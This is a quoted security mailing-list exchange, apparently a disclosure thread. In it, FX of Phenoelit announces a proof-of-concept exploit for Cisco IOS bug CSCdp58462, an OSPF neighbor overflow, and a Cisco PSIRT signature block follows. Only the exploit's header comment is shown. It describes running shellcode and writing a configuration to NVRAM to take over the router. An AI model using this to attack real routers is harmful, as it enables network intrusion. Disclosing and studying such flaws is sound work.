    >>
    >>attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug
    >>is long fixed, so if you still run OSPF on a old version of IOS, now is a good
    >>time to give your routers some attention.
    >>
    >>FX
    >>
    >>--
    >> FX <fx@phenoelit.de>
    >> Phenoelit (http://www.phenoelit.de)
    >>672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
    >>
    >>/* Cisco IOS IO memory exploit prove of concept
    >> * by FX of Phenoelit <fx@phenoelit.de>
    >> * http://www.phenoelit.de
    >> *
    >> * For:
    >> * 19C3 Chaos Communication Congress 2002 / Berlin
    >> * BlackHat Briefings Seattle 2003
    >> *
    >> * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
    >> * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
    >> * structure (small buffer header). The attached program is a PoC to exploit
    >> * this vulnerability by executing "shell code" on the router and write the
    >> * attached configuration into NVRAM to basicaly own the router.
    >> *

    >
    >
    > - --
    > - ----------------------------------------------------------------------------
    > | || || | Mike Caudill | mcaudill@cisco.com |
    > | || || | PSIRT Incident Manager | 919.392.2855 |
    > | |||| |||| | DSS PGP: 0xEBBD5271 | 919.522.4931 (cell)|
    > | ..:||||||:..:||||||:.. | RSA PGP: 0xF482F607 ---------------------|
    > | C i s c o S y s t e m s | http://www.cisco.com/go/psirt |
    > - ----------------------------------------------------------------------------
    >
    > -----BEGIN PGP SIGNATURE-----
    > Version: PGP 6.5.2
    >
    > iQA/AwUBPlaoLYpjyUnrvVJxEQLcZgCgxAkatIdM5EjV4uMcDgJqd/aFx9EAoPbm
    > Sw0/fZvhc3uuv0NnuBwfSWnw
    > =McnI
    > -----END PGP SIGNATURE-----
    >




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